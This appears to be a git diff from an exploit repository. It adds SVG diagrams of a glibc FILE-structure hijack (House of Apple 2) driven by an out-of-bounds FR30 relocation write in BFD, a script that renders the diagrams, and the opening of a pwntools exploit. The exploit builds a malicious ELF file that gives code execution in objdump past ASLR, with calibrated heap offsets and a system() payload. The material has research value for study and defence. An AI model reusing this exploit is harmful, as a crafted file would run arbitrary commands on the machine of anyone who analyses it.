<mxCell id="oob_lbl" parent="1" style="text;html=1;fontSize=16;align=left;verticalAlign=middle;fontColor=#b85450;" value="OOB writes" vertex="1">
<mxGeometry height="14" width="95" x="124" y="272" as="geometry" />
</mxCell>
</root>
</mxGraphModel>
</diagram>
</mxfile>
File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 198 KiB

@@ -0,0 +1,72 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 880 340" font-family="sans-serif">
<defs>
<marker id="hp" markerWidth="9" markerHeight="6" refX="9" refY="3" orient="auto"><polygon points="0 0, 9 3, 0 6" fill="#8e6fbf"/></marker>
</defs>
<text x="20" y="22" font-size="14" font-weight="700" fill="#374151">House of Apple 2 &#8212; rewriting the <tspan font-family="monospace">FILE</tspan> at <tspan font-family="monospace">abfd-&gt;iostream</tspan></text>
<text x="20" y="40" font-size="10.5" fill="#6b7280">Four PI relocations (purple) bend existing pointers into place. Direct OOB writes (grey) set the scalar fields.</text>
<!-- ===== FILE struct (center) ===== -->
<rect x="330" y="58" width="220" height="282" rx="5" fill="#ffffff" stroke="#374151" stroke-width="1.4"/>
<rect x="330" y="58" width="220" height="22" rx="5" fill="#374151"/>
<text x="440" y="74" font-size="11" font-weight="700" fill="#fff" text-anchor="middle" font-family="monospace">FILE (fp)</text>
<g font-family="monospace" font-size="10.5">
<!-- row 0 _flags -->
<rect x="331" y="80" width="218" height="28" fill="#f8cecc"/><text x="338" y="98" fill="#7a2020">+0 _flags</text><text x="543" y="98" fill="#7a2020" text-anchor="end">" (gnome-calc&amp;)"</text>
<!-- row1 -->
<rect x="331" y="108" width="218" height="24" fill="#f3f4f6"/><text x="338" y="124" fill="#475569">+32 write_base</text><text x="543" y="124" fill="#111" text-anchor="end">1</text>
<!-- row2 -->
<rect x="331" y="132" width="218" height="24" fill="#f3f4f6"/><text x="338" y="148" fill="#475569">+40 write_ptr</text><text x="543" y="148" fill="#111" text-anchor="end">2</text>
<!-- row3 fake vtable base -->
<rect x="331" y="156" width="218" height="24" fill="#d5e8d4"/><text x="338" y="172" fill="#2d5a2d">+80 [fake vtable]</text><text x="543" y="172" fill="#2d5a2d" text-anchor="end">lock = 0</text>
<!-- row4 chain -->
<rect x="331" y="180" width="218" height="24" fill="#f3f4f6"/><text x="338" y="196" fill="#475569">+104 _chain</text><text x="543" y="196" fill="#111" text-anchor="end">0</text>
<!-- row5 lock PI -->
<rect x="331" y="204" width="218" height="24" fill="#efe7fb"/><text x="338" y="220" fill="#5a4488">+136 _lock</text><text x="543" y="220" fill="#5a4488" text-anchor="end">&#8594; fp+80</text>
<!-- row6 wide_data PI -->
<rect x="331" y="228" width="218" height="24" fill="#efe7fb"/><text x="338" y="244" fill="#5a4488">+160 _wide_data</text><text x="543" y="244" fill="#5a4488" text-anchor="end">&#8594; fp&#8722;88</text>
<!-- row7 pad5 PI -->
<rect x="331" y="252" width="218" height="32" fill="#efe7fb"/><text x="338" y="266" fill="#5a4488">+184 __pad5</text><text x="543" y="266" fill="#5a4488" text-anchor="end">= system</text><text x="338" y="279" fill="#8e6fbf" font-size="8.5">= fake vtable +104 (__doallocate)</text>
<!-- row8 vtable PI -->
<rect x="331" y="284" width="218" height="26" fill="#efe7fb"/><text x="338" y="301" fill="#5a4488">+216 vtable</text><text x="543" y="301" fill="#5a4488" text-anchor="end">&#8594; _IO_wfile_jumps</text>
</g>
<!-- ===== fake _wide_data (left) ===== -->
<rect x="30" y="150" width="240" height="120" rx="5" fill="#fbfbfd" stroke="#82b366" stroke-width="1.3"/>
<text x="40" y="168" font-size="10.5" font-weight="700" fill="#2d5a2d" font-family="monospace">fake _wide_data (fp&#8722;88)</text>
<g font-family="monospace" font-size="10">
<text x="40" y="190" fill="#475569">wd+24 _IO_write_base = <tspan fill="#2d6a2d" font-weight="700">0</tspan></text>
<text x="40" y="212" fill="#475569">wd+48 _IO_buf_base = <tspan fill="#2d6a2d" font-weight="700">0</tspan></text>
<text x="40" y="234" fill="#475569">wd+224 _wide_vtable</text>
<text x="258" y="234" fill="#5a4488" text-anchor="end">&#8594; fp+80</text>
<text x="40" y="256" fill="#94a3b8" font-size="8">(the two zeros steer the chain to __doallocate)</text>
</g>
<!-- ===== fake vtable (right top) ===== -->
<rect x="620" y="92" width="240" height="80" rx="5" fill="#fbfbfd" stroke="#82b366" stroke-width="1.3"/>
<text x="630" y="110" font-size="10.5" font-weight="700" fill="#2d5a2d" font-family="monospace">fake vtable (fp+80)</text>
<g font-family="monospace" font-size="10">
<text x="630" y="132" fill="#475569">+0 lock word = 0</text>
<text x="630" y="154" fill="#475569">+104 __doallocate</text>
<text x="850" y="154" fill="#7a2020" text-anchor="end" font-weight="700">= system</text>
</g>
<!-- ===== _IO_wfile_jumps (right mid) ===== -->
<rect x="620" y="230" width="240" height="78" rx="5" fill="#fff6ec" stroke="#d6883b" stroke-width="1.3"/>
<text x="630" y="248" font-size="10.5" font-weight="700" fill="#9a5b18" font-family="monospace">_IO_wfile_jumps (libc)</text>
<text x="630" y="268" font-size="9.5" fill="#7a4a14">inside __libc_IO_vtables &#8594;</text>
<text x="630" y="281" font-size="9.5" fill="#7a4a14">passes glibc&#8217;s vtable check</text>
<text x="630" y="298" font-size="9.5" fill="#7a4a14">__overflow &#8594; _IO_wfile_overflow</text>
<!-- ===== PI arrows ===== -->
<!-- vtable -> _IO_wfile_jumps -->
<path d="M551,297 C 590,290 595,270 619,268" fill="none" stroke="#8e6fbf" stroke-width="1.8" marker-end="url(#hp)"/>
<!-- _lock -> fake vtable -->
<path d="M551,216 C 590,200 596,150 619,134" fill="none" stroke="#8e6fbf" stroke-width="1.8" marker-end="url(#hp)"/>
<!-- _wide_data -> fake wide_data -->
<path d="M329,240 C 300,250 290,225 271,212" fill="none" stroke="#8e6fbf" stroke-width="1.8" marker-end="url(#hp)"/>
<!-- legend -->
<rect x="30" y="300" width="14" height="10" fill="#efe7fb" stroke="#8e6fbf"/><text x="50" y="309" font-size="9.5" fill="#5a4488">PI reloc (read-modify-write, constant delta)</text>
<rect x="30" y="316" width="14" height="10" fill="#f8cecc" stroke="#b85450"/><text x="50" y="325" font-size="9.5" fill="#7a2020">direct OOB write</text>
</svg>

After

Width:  |  Height:  |  Size: 5.8 KiB

+84
View File
@@ -0,0 +1,84 @@
#!/usr/bin/env python3
"""Render the bug/exploit SVGs to raster assets via Chromium (full glyph + SMIL support).
static SVG -> PNG (single screenshot, 2x)
animated SVG -> GIF (frame capture -> ffmpeg palette gif)
"""
import asyncio, re, subprocess, tempfile, pathlib, shutil
from playwright.async_api import async_playwright
SRC = pathlib.Path(__file__).parent
OUT = SRC.parent
SCALE = 2
GIF_W = 880
STATIC = ["heap-map",
"house-of-apple", "wide-overlap"]
ANIM = [{"name": "wrapping-write", "dur": 6, "w": 480},
{"name": "xvec-switch", "dur": 5, "w": 760}]
FPS = 15
def vb(svg_text):
m = re.search(r'viewBox="([\d.\s]+)"', svg_text)
_, _, w, h = [float(x) for x in m.group(1).split()]
return w, h
def page_html(svg, w):
return (f'<!DOCTYPE html><meta charset="utf-8">'
f'<style>html,body{{margin:0;background:#fff}}.wrap{{width:{w}px}}'
f'svg{{display:block;width:100%;height:auto}}</style>'
f'<div class="wrap">{svg}</div>')
async def main():
async with async_playwright() as p:
browser = await p.chromium.launch(channel="chrome")
# ---- static ----
for n in STATIC:
# Prefer a draw.io export ({n}.drawio.svg) over a hand-authored {n}.svg.
src = SRC / f"{n}.drawio.svg"
if not src.exists():
src = SRC / f"{n}.svg"
svg = src.read_text()
w, h = vb(svg)
W = int(w * SCALE)
page = await browser.new_page(viewport={"width": W, "height": int(h * SCALE)},
device_scale_factor=1, color_scheme="light")
await page.set_content(page_html(svg, W))
await page.wait_for_timeout(200)
el = await page.query_selector(".wrap")
await el.screenshot(path=str(OUT / f"{n}.png"))
await page.close()
print(f"PNG {n}.png {(OUT/f'{n}.png').stat().st_size//1024} KB")
# ---- animated ----
for a in ANIM:
n, dur = a["name"], a["dur"]
svg = (SRC / f"{n}.svg").read_text()
w, h = vb(svg)
W = a.get("w", GIF_W)
H = int(h * (W / w))
tmp = pathlib.Path(tempfile.mkdtemp(prefix=f"r_{n}_"))
page = await browser.new_page(viewport={"width": W, "height": H},
device_scale_factor=1, color_scheme="light")
await page.set_content(page_html(svg, W))
await page.wait_for_timeout(200)
await page.evaluate("() => { const s=document.querySelector('svg'); s.pauseAnimations(); s.setCurrentTime(0);} ")
frames = int(dur * FPS)
for i in range(frames):
t = i * (dur / frames)
await page.evaluate(f"() => document.querySelector('svg').setCurrentTime({t})")
await page.wait_for_timeout(20)
await page.screenshot(path=str(tmp / f"f{i:04d}.png"))
await page.close()
gif = OUT / f"{n}.gif"
subprocess.run(["ffmpeg", "-y", "-framerate", str(FPS), "-i", str(tmp / "f%04d.png"),
"-vf", f"fps={FPS},scale={W}:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse",
str(gif)], check=True, capture_output=True)
shutil.rmtree(tmp)
print(f"GIF {n}.gif {gif.stat().st_size//1024} KB ({frames} frames)")
await browser.close()
asyncio.run(main())
+36
View File
@@ -0,0 +1,36 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 720 230" font-family="sans-serif">
<rect x="0" y="0" width="720" height="230" fill="#ffffff"/>
<text x="20" y="22" font-size="14" font-weight="700" fill="#374151">One slot, two names &#8212; <tspan font-family="monospace">_wide_data</tspan> overlaps the FILE</text>
<text x="20" y="40" font-size="10.5" fill="#6b7280">Only <tspan font-family="monospace">_wide_vtable</tspan> (wd+224) reaches into the FILE, landing on <tspan font-family="monospace">_lock</tspan> (fp+136). Not to scale.</text>
<!-- fp anchor -->
<line x1="300" y1="58" x2="300" y2="200" stroke="#d1d5db" stroke-width="1" stroke-dasharray="3 3"/>
<text x="300" y="54" font-size="9" fill="#9ca3af" text-anchor="middle" font-family="monospace">fp</text>
<!-- ===== FILE struct (base fp) ===== -->
<text x="292" y="99" font-size="10.5" font-weight="700" fill="#475569" font-family="monospace" text-anchor="end">_IO_FILE</text>
<text x="292" y="112" font-size="9" fill="#94a3b8" font-family="monospace" text-anchor="end">(base fp)</text>
<g font-family="monospace" font-size="8.5" text-anchor="middle">
<rect x="300" y="84" width="92" height="36" fill="#f3f4f6" stroke="#9ca3af"/><text x="346" y="78" fill="#374151">_flags +0</text>
<rect x="392" y="84" width="92" height="36" fill="#d5e8d4" stroke="#82b366"/><text x="438" y="78" fill="#2d5a2d">fake vtable +80</text>
<rect x="484" y="84" width="92" height="36" fill="#efe7fb" stroke="#8e6fbf" stroke-width="1.6"/><text x="530" y="78" fill="#5a4488" font-weight="700">_lock +136</text>
<rect x="576" y="84" width="92" height="36" fill="#f3f4f6" stroke="#9ca3af"/><text x="622" y="78" fill="#374151">_wide_data +160</text>
</g>
<!-- ===== fake _IO_wide_data (base fp-88) ===== -->
<text x="60" y="160" font-size="10.5" font-weight="700" fill="#475569" font-family="monospace">fake _IO_wide_data (base = fp-88)</text>
<g font-family="monospace" font-size="8.5" text-anchor="middle">
<rect x="60" y="168" width="75" height="36" fill="#f3f4f6" stroke="#9ca3af"/><text x="97" y="219" fill="#374151">wd+0</text>
<rect x="140" y="168" width="75" height="36" fill="#f3f4f6" stroke="#9ca3af"/><text x="177" y="219" fill="#2d6a2d" font-weight="700">wd+24 = 0</text>
<rect x="220" y="168" width="75" height="36" fill="#f3f4f6" stroke="#9ca3af"/><text x="257" y="219" fill="#2d6a2d" font-weight="700">wd+48 = 0</text>
<line x1="299" y1="186" x2="482" y2="186" stroke="#cbd5e1" stroke-width="1" stroke-dasharray="4 3"/>
<text x="390" y="183" fill="#9ca3af" font-size="11">&#8230;</text>
<rect x="484" y="168" width="92" height="36" fill="#efe7fb" stroke="#8e6fbf" stroke-width="1.6"/><text x="530" y="219" fill="#5a4488" font-weight="700">wd+224 _wide_vtable</text>
</g>
<!-- alias connector -->
<line x1="530" y1="120" x2="530" y2="168" stroke="#8e6fbf" stroke-width="2"/>
<rect x="588" y="128" width="104" height="30" rx="4" fill="#efe7fb" stroke="#8e6fbf"/>
<text x="640" y="141" font-size="9.5" text-anchor="middle" fill="#5a4488" font-weight="700">fp+136</text>
<text x="640" y="152" font-size="8.5" text-anchor="middle" fill="#5a4488">one slot, two names</text>
</svg>

After

Width:  |  Height:  |  Size: 3.1 KiB

+102
View File
@@ -0,0 +1,102 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 452" font-family="sans-serif">
<defs>
<marker id="ar" markerWidth="10" markerHeight="7" refX="9" refY="3.5" orient="auto">
<polygon points="0 0, 10 3.5, 0 7" fill="#b85450"/>
</marker>
</defs>
<rect x="0" y="0" width="480" height="452" fill="#ffffff"/>
<!-- ===== bfd struct ===== -->
<rect x="120" y="24" width="250" height="58" rx="6" fill="#dae8fc" stroke="#6c8ebf" stroke-width="1.4"/>
<text x="245" y="49" font-size="13" font-weight="700" text-anchor="middle" fill="#1a4a7c">bfd struct (abfd)</text>
<text x="245" y="68" font-size="11" font-family="monospace" text-anchor="middle" fill="#33507a">data &#8722;8400</text>
<g opacity="0">
<rect x="120" y="24" width="250" height="58" rx="6" fill="none" stroke="#dc2626" stroke-width="3"/>
<set attributeName="opacity" to="1" begin="4s"/>
</g>
<text x="245" y="104" font-size="16" text-anchor="middle" fill="#cbd5e1">&#8776;</text>
<!-- ===== data buffer ===== -->
<rect x="120" y="120" width="250" height="52" rx="6" fill="#f8cecc" stroke="#b85450" stroke-width="1.4"/>
<text x="245" y="142" font-size="13" font-weight="700" text-anchor="middle" fill="#7a2020">.debug_info (data)</text>
<text x="245" y="160" font-size="10" font-family="monospace" text-anchor="middle" fill="#b85450">data + 0</text>
<text x="245" y="194" font-size="16" text-anchor="middle" fill="#cbd5e1">&#8776;</text>
<!-- ===== arelent[n+1] ===== -->
<rect x="90" y="212" width="310" height="178" rx="6" fill="#f3eefb" stroke="#9673a6" stroke-width="1.4"/>
<text x="245" y="233" font-size="12" font-weight="700" text-anchor="middle" fill="#5a4488">arelent[n+1] &#183; the next relocation</text>
<text x="118" y="259" font-size="11" font-family="monospace" fill="#475569">address (64-bit):</text>
<!-- high dword cell -->
<rect id="hi" x="150" y="268" width="100" height="52" rx="3" fill="#fff2cc" stroke="#d6b656" stroke-width="1.3">
<set attributeName="fill" to="#f8cecc" begin="2s"/>
<set attributeName="stroke" to="#b85450" begin="2s"/>
</rect>
<text x="200" y="285" font-size="9.5" font-family="monospace" text-anchor="middle" fill="#6b7280">high 32 &#183; +12</text>
<text x="200" y="307" font-size="13" font-family="monospace" font-weight="700" text-anchor="middle" fill="#475569">00000000
<set attributeName="opacity" to="0" begin="2s"/>
</text>
<text x="200" y="307" font-size="13" font-family="monospace" font-weight="700" text-anchor="middle" fill="#dc2626" opacity="0">FFFFFFFF
<set attributeName="opacity" to="1" begin="2s"/>
</text>
<!-- low dword cell -->
<rect x="250" y="268" width="100" height="52" rx="3" fill="#fff2cc" stroke="#d6b656" stroke-width="1.3"/>
<text x="300" y="285" font-size="9.5" font-family="monospace" text-anchor="middle" fill="#6b7280">low 32 &#183; +8</text>
<text x="300" y="307" font-size="13" font-family="monospace" font-weight="700" text-anchor="middle" fill="#7a5c00">FFFFDF34</text>
<text x="300" y="335" font-size="9" text-anchor="middle" fill="#a16207">from r_offset</text>
<!-- combined address value + decimal (flips on poison) -->
<text x="128" y="364" font-size="11" font-family="monospace" text-anchor="start" fill="#475569">0x00000000FFFFDF34 = +4,294,958,900
<set attributeName="opacity" to="0" begin="2s"/>
</text>
<text x="128" y="364" font-size="11" font-family="monospace" font-weight="700" text-anchor="start" fill="#b85450" opacity="0">0xFFFFFFFFFFFFDF34 = &#8722;8,396
<set attributeName="opacity" to="1" begin="2s"/>
</text>
<text x="128" y="380" font-size="9" text-anchor="start" fill="#9aa3af">interpreted mod 2^64</text>
<!-- first write: reloc n poisons address_hi (phase 1) -->
<g opacity="0">
<path d="M 120 146 L 70 146 L 70 294 L 146 294" fill="none" stroke="#b85450" stroke-width="2"
stroke-dasharray="6 4" marker-end="url(#ar)"/>
<text x="36" y="214" font-size="9.5" font-weight="700" text-anchor="middle" fill="#b85450">1st write</text>
<text x="36" y="226" font-size="9.5" font-weight="700" text-anchor="middle" fill="#b85450">+47,484</text>
<set attributeName="opacity" to="1" begin="2s"/>
<set attributeName="opacity" to="0.4" begin="4s"/>
</g>
<!-- second write: wrapped write data -> bfd (phase 2) -->
<g opacity="0">
<path d="M 370 138 L 438 138 L 438 54 L 372 54" fill="none" stroke="#b85450" stroke-width="2.2"
stroke-dasharray="6 4" marker-end="url(#ar)"/>
<text x="404" y="92" font-size="9.5" font-weight="700" text-anchor="middle" fill="#b85450">2nd write</text>
<text x="404" y="104" font-size="9.5" font-weight="700" text-anchor="middle" fill="#b85450">&#8722;8,394</text>
<set attributeName="opacity" to="1" begin="4s"/>
</g>
<!-- effective-address formula (phase 2) -->
<g opacity="0">
<text x="240" y="414" font-size="11" font-family="monospace" text-anchor="middle" fill="#1f2937">effective = data + (&#8722;8,396) + 2 = data &#8722;8,394</text>
<set attributeName="opacity" to="1" begin="4s"/>
</g>
<!-- ===== captions ===== -->
<text x="240" y="436" font-size="13" text-anchor="middle" fill="#374151" font-weight="600">Two relocations target arelent[n+1]
<set attributeName="opacity" to="0" begin="2s"/>
</text>
<text x="240" y="436" font-size="13" text-anchor="middle" fill="#b85450" font-weight="600" opacity="0">First write: reloc n poisons the high dword
<set attributeName="opacity" to="1" begin="2s"/>
<set attributeName="opacity" to="0" begin="4s"/>
</text>
<text x="240" y="436" font-size="13" text-anchor="middle" fill="#b85450" font-weight="600" opacity="0">Second write: reloc n+1 wraps to data &#8722;8,394
<set attributeName="opacity" to="1" begin="4s"/>
</text>
<!-- master clock: loops every 6s -->
<rect x="0" y="0" width="1" height="1" fill="none">
<animate attributeName="opacity" from="1" to="1" dur="6s" repeatCount="indefinite"/>
</rect>
</svg>

After

Width:  |  Height:  |  Size: 5.9 KiB

+103
View File
@@ -0,0 +1,103 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 760 340" font-family="sans-serif">
<defs>
<marker id="ared" markerWidth="13" markerHeight="9" refX="11" refY="4.5" orient="auto" markerUnits="userSpaceOnUse"><polygon points="0 0, 13 4.5, 0 9" fill="#b85450"/></marker>
<marker id="agrn" markerWidth="13" markerHeight="9" refX="11" refY="4.5" orient="auto" markerUnits="userSpaceOnUse"><polygon points="0 0, 13 4.5, 0 9" fill="#5b8a5b"/></marker>
</defs>
<rect x="0" y="0" width="760" height="340" fill="#ffffff"/>
<text x="20" y="22" font-size="14" font-weight="700" fill="#374151">Step 2 &#8212; flipping byte order with a 2-byte write</text>
<text x="20" y="42" font-size="11" fill="#6b7280">One 4-byte FR30 write at <tspan font-family="monospace">abfd+6</tspan> rewrites <tspan font-family="monospace">xvec</tspan>'s lower 2 bytes, repointing it at a little-endian target vector.</text>
<g transform="translate(0,40)">
<!-- struct bfd field labels -->
<text x="156" y="72" font-family="monospace" font-size="10.5" font-weight="600" fill="#808080" text-anchor="middle">char *filename (+0)</text>
<text x="380" y="71" font-family="monospace" font-size="13" font-weight="700" fill="#334155" text-anchor="middle">bfd_target *xvec (+8)</text>
<text x="604" y="72" font-family="monospace" font-size="10.5" font-weight="600" fill="#808080" text-anchor="middle">FILE *iostream (+16)</text>
<text x="34" y="101" font-size="10" fill="#9ca3af" text-anchor="end">struct</text>
<text x="34" y="113" font-size="10" fill="#9ca3af" text-anchor="end">bfd</text>
<g font-family="monospace" font-size="11" text-anchor="middle">
<rect x="44" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/>
<rect x="72" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/>
<rect x="100" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/>
<rect x="128" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/>
<rect x="156" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/>
<rect x="184" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/>
<!-- filename top 2 bytes: clobbered by the spill (gray -> red 00 00) -->
<rect x="212" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af">
<set attributeName="fill" to="#f8cecc" begin="2s"/><set attributeName="stroke" to="#b85450" begin="2s"/>
</rect>
<rect x="240" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af">
<set attributeName="fill" to="#f8cecc" begin="2s"/><set attributeName="stroke" to="#b85450" begin="2s"/>
</rect>
<text x="226" y="104" font-size="11" fill="#7a2020" font-weight="700" opacity="0">00<set attributeName="opacity" to="1" begin="2s"/></text>
<text x="254" y="104" font-size="11" fill="#7a2020" font-weight="700" opacity="0">00<set attributeName="opacity" to="1" begin="2s"/></text>
<!-- xvec low 2 bytes: 38 44 (=0x4438) -> b0 00 (=0x00b0) -->
<rect x="268" y="80" width="28" height="36" fill="#fff2cc" stroke="#d6b656" stroke-width="1.4"/>
<rect x="296" y="80" width="28" height="36" fill="#fff2cc" stroke="#d6b656" stroke-width="1.4"/>
<text x="282" y="104" font-size="14" fill="#7a5c00" font-weight="700">38<set attributeName="opacity" to="0" begin="2s"/></text>
<text x="310" y="104" font-size="14" fill="#7a5c00" font-weight="700">44<set attributeName="opacity" to="0" begin="2s"/></text>
<text x="282" y="104" font-size="14" fill="#2d5a2d" font-weight="700" opacity="0">b0<set attributeName="opacity" to="1" begin="2s"/></text>
<text x="310" y="104" font-size="14" fill="#2d5a2d" font-weight="700" opacity="0">00<set attributeName="opacity" to="1" begin="2s"/></text>
<!-- xvec high 6 bytes: ASLR -->
<rect x="324" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/><text x="338" y="104" font-size="13" fill="#94a3b8">??</text>
<rect x="352" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/><text x="366" y="104" font-size="13" fill="#94a3b8">??</text>
<rect x="380" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/><text x="394" y="104" font-size="13" fill="#94a3b8">??</text>
<rect x="408" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/><text x="422" y="104" font-size="13" fill="#94a3b8">??</text>
<rect x="436" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/><text x="450" y="104" font-size="13" fill="#94a3b8">??</text>
<rect x="464" y="80" width="28" height="36" fill="#eef2f7" stroke="#9ca3af"/><text x="478" y="104" font-size="13" fill="#94a3b8">??</text>
<!-- iostream -->
<rect x="492" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
<rect x="520" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
<rect x="548" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
<rect x="576" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
<rect x="604" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
<rect x="632" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
<rect x="660" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
<rect x="688" y="80" width="28" height="36" fill="#f3f4f6" stroke="#d1d5db"/>
</g>
<!-- outline around the whole xvec field (this is the pointer) -->
<rect x="266" y="77" width="228" height="42" rx="4" fill="none" stroke="#334155" stroke-width="2"/>
<!-- write bracket + region labels -->
<g opacity="0">
<path d="M212,122 L212,127 L324,127 L324,122" fill="none" stroke="#a16207" stroke-width="1.4"/>
<text x="268" y="140" font-size="10.5" font-weight="700" fill="#a16207" text-anchor="middle">one 4-byte write at abfd+6</text>
<set attributeName="opacity" to="1" begin="1.2s"/>
</g>
</g>
<!-- ===== pointer dereference: elbow arrows from the xvec field ===== -->
<!-- elbow to fr30 (before) -->
<g>
<path d="M 360 159 V 198 H 238 V 250" fill="none" stroke="#b85450" stroke-width="2.2" marker-end="url(#ared)"/>
<set attributeName="opacity" to="0.12" begin="2s"/>
</g>
<!-- elbow to crx (after) -->
<g opacity="0">
<path d="M 360 159 V 198 H 522 V 250" fill="none" stroke="#5b8a5b" stroke-width="2.4" marker-end="url(#agrn)"/>
<set attributeName="opacity" to="1" begin="2s"/>
</g>
<!-- fr30 target box (dims after the switch) -->
<g>
<rect x="120" y="254" width="232" height="56" rx="6" fill="#f8cecc" stroke="#b85450" stroke-width="1.4"/>
<text x="236" y="278" font-family="monospace" font-size="13" font-weight="700" text-anchor="middle" fill="#7a2020">fr30_elf32_vec</text>
<text x="236" y="297" font-size="10" text-anchor="middle" fill="#b85450">big-endian &#183; low16 = 0x4438</text>
<set attributeName="opacity" to="0.4" begin="2s"/>
</g>
<!-- crx target box (lights up after the switch) -->
<g opacity="0.5">
<rect x="408" y="254" width="232" height="56" rx="6" fill="#d5e8d4" stroke="#82b366" stroke-width="1.4"/>
<text x="524" y="278" font-family="monospace" font-size="13" font-weight="700" text-anchor="middle" fill="#2d5a2d">crx_elf32_vec</text>
<text x="524" y="297" font-size="10" text-anchor="middle" fill="#5b8a5b">little-endian &#183; low16 = 0x00b0</text>
<set attributeName="opacity" to="1" begin="2s"/>
</g>
<text x="380" y="328" font-size="9.5" text-anchor="middle" fill="#9ca3af">both vectors live in the same .data.rel.ro 64KB page</text>
<!-- master clock: loops every 5s -->
<rect x="0" y="0" width="1" height="1" fill="none">
<animate attributeName="opacity" from="1" to="1" dur="5s" repeatCount="indefinite"/>
</rect>
</svg>

After

Width:  |  Height:  |  Size: 7.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

BIN
View File
Binary file not shown.
Binary file not shown.
+449
View File
@@ -0,0 +1,449 @@
#!/usr/bin/env python3
"""
ASLR RCE via House of Apple 2 + FR30 OOB heap write.
Vulnerability: fr30_elf_i32_reloc() in BFD writes 4 bytes at an attacker-
controlled offset from the .debug_info heap buffer with no bounds check:
bfd_put_32(abfd, value, data + r_offset + 2)
Exploit chain (all 0 entropy, 100% reliable with ASLR):
1. Partial-overwrite BFD xvec pointer → switch byte order to LE
2. Use "partial-inplace" (PI) relocations to adjust existing heap
pointers by constant deltas (libc→libc, heap→heap)
3. Corrupt the BFD's iostream FILE struct:
- vtable → _IO_wfile_jumps (PI libc→libc)
- _wide_data → fake wide_data (PI heap→heap)
- _lock → fake vtable (PI heap→heap)
- __pad5 → system() (PI libc→libc)
4. Set iostream=NULL to prevent fclose, keeping FILE in _IO_list_all
5. On exit(): _IO_flush_all → __overflow → _IO_wfile_overflow
→ _IO_wdoallocbuf → _wide_vtable.__doallocate → system(fp)
The first bytes of the FILE struct (fp+0 = _flags) contain the shell
command " (gnome-calculator&)", which system() executes.
"""
from pwn import *
import struct, os, sys
# ─── ELF constants ───────────────────────────────────────────────────
R_FR30_48 = 4 # relocation type that triggers fr30_elf_i32_reloc
def _p16(v): return struct.pack(">H", v & 0xFFFF)
def _p32(v): return struct.pack(">I", v & 0xFFFFFFFF)
def _strtab(strings):
"""Build an ELF string table. Returns (blob, {name: offset})."""
blob = b"\x00"
offsets = {"": 0}
for s in strings:
if s and s not in offsets:
offsets[s] = len(blob)
blob += s.encode() + b"\x00"
return blob, offsets
# ─── Exploit constants ───────────────────────────────────────────────
# Lower 16 bits to partial-overwrite xvec pointer → LE target vector.
# The FR30 xvec and the LE xvec are both in .data.rel.ro. Only the
# bottom 16 bits differ, so a 2-byte overwrite redirects with 0 entropy
# (PIE uses 64KB alignment on aarch64, so lower 16 bits are constant).
LE_XV = 0x00b0
# Lower 16 bits of the "partial_inplace" howto in the fr30 howto table.
# This howto has partial_inplace=1, src_mask=dst_mask=0xFFFFFFFF, so
# bfd_perform_relocation will: read existing 32-bit value, add
# (symbol_value - r_offset), write result back. This is our pointer-
# arithmetic primitive — it adjusts existing pointers by a constant
# delta without knowing their absolute address.
PI_HT = 0xb820
# Constant offset from _IO_file_jumps to _IO_wfile_jumps in libc.
# Used to PI the FILE vtable to the wide-file variant (which passes
# glibc's vtable validation since both are in __libc_IO_vtables).
DW = 504
# ─── Heap layout profile ─────────────────────────────────────────────
# All offsets are relative to `data` — the .debug_info heap buffer
# address that fr30_elf_i32_reloc receives as its `data` parameter.
#
# These were calibrated empirically via GDB in a real PTY environment
# (piped execution changes heap layout due to different stdio buffering).
#
# IO : data → FILE struct (abfd->iostream)
# R : data → internal arelent array (relocation entries on heap)
# S : data → input_section->size field
# B : data → BFD struct (abfd) — negative because abfd is before data
# LV : data → lock object that FILE._lock points to
# WV : data → wide_data struct that FILE._wide_data points to
# DS : libc offset: system() - stderr (= system - &_IO_list_all - 8)
PR = {
"local": {
"IO": 160, # FILE struct is 160 bytes after data buffer
"R": 47440, # arelent array is 47440 bytes after data
"S": 5816, # section->size field is 5816 bytes after data
"B": -8400, # BFD struct is 8400 bytes BEFORE data
"LV": 384, # _lock target object is 384 bytes after data
"WV": 400, # _wide_data struct is 400 bytes after data
"DS": -1726592, # system() is 1726592 bytes before stderr in libc
# Shell command to execute. Constraints on the first 4 bytes
# (which are also the FILE _flags field):
# byte[0] bit1=0 (not _IO_UNBUFFERED) → ' ' (0x20) ✓
# byte[0] bit3=0 (not _IO_NO_WRITES) → ' ' (0x20) ✓
# byte[1] bit3=1 (_IO_CURRENTLY_PUTTING)→ '(' (0x28) ✓
# The & backgrounds the process so objdump exits cleanly.
"cmd": b" (gnome-calculator&)\x00",
},
}
def build(profile):
"""Build the exploit ELF for the given profile."""
C = PR[profile]
IO, R, S, B = C["IO"], C["R"], C["S"], C["B"]
LV, WV, DS = C["LV"], C["WV"], C["DS"]
